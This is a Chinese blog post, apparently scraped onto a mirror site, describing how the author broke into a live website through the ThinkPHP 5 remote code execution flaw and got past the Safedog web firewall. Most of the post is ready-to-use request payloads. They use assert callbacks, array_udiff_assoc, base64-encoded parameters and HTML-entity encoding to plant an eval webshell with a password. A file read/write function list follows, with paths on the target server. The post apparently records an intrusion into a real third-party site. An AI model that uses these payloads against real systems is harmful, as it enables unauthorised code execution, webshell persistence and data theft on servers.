zoukankan      html  css  js  c++  java
  • tp5漏洞payload过waf(安全狗)

    搞某XX站,存在TP5漏洞,但是有安全狗,直接getshell不了,过滤了很多敏感字符,比如eval,copy等等

     

     这里我想到了二个思路:

    ①   使用copy()或者file_put_contents()函数写入过狗一句话代码,并且接收payload的参数经过base64解密,对应的传参经过base64加密;

    ②   在tp 5的POC上利用assert函数执行eval函数,eval函数使用$_REQUEST数组接收参数,并且接受的参数经过base64解密,对应的传参也要经过base64加密

       

    艰辛的过程:

    ①    

    _method=__construct&filter[]=assert&method=get&get[]=file_put_contents("123.txt","%26%6c%74%3b?php phpinfo; ?>")
    

     

     <进行了过滤,只要<xxxxx都会被过滤,用HTML实体编码&lt;绕过,注意需要url编码,也可以使用copy函数

    后面测试发现能解析的路径没有权限,并且不能创建php文件

    ②    

    _method=__construct&filter[]=assert&method=get&get[]=array_udiff_assoc(array(base64_decode($_REQUEST[123])), array(1), "assert")&123= cGhwaW5mbygpOw==

    使用array_udiff_assoc函数回调assert函数,参数经过base64解密,这样就能直接连接webshell管理工具,密码是123,webshell管理工具的payload要经过base64加密

     

    最终payload使用eval函数,密码1


    _method=__construct&filter[]=assert&method=get&get[]=array_udiff_assoc(array(base64_decode($_REQUEST[123])), array(1), "assert")&123=ZXZhbChiYXNlNjRfZGVjb2RlKCRfUkVRVUVTVFsxXSkp&1=cGhwaW5mbygpOw==

    附测试过程用的函数:

    file_get_contents("D:/wwwroot/www.huiyijia.top/web/2.php") 读取文件

    print_r() 输出函数,echo和print是语言结构

    file_exists() 判定某个文件是否存在                

    file_put_contents("D:/wwwroot/www.huiyijia.top/extend/123.txt","1234.php") 写入文件

    array_udiff_assoc(array(base64_decode($_REQUEST[123])), array(1), "assert") 第三个参数是回调函数,第一个参数和第二个参数调用回调函数进行比较,返回值是数组

  • 相关阅读:
    将HTML格式的String转化为HTMLElement
    程序执行效率
    Oracle之sql追踪
    单行bash、shell、perl命令
    主机安装
    时间序列分析
    R统计图
    需求分析
    oracle数据导入导出
    linux权限问题
  • 原文地址:https://www.cnblogs.com/supdon/p/13469851.html
Copyright © 2011-2022 走看看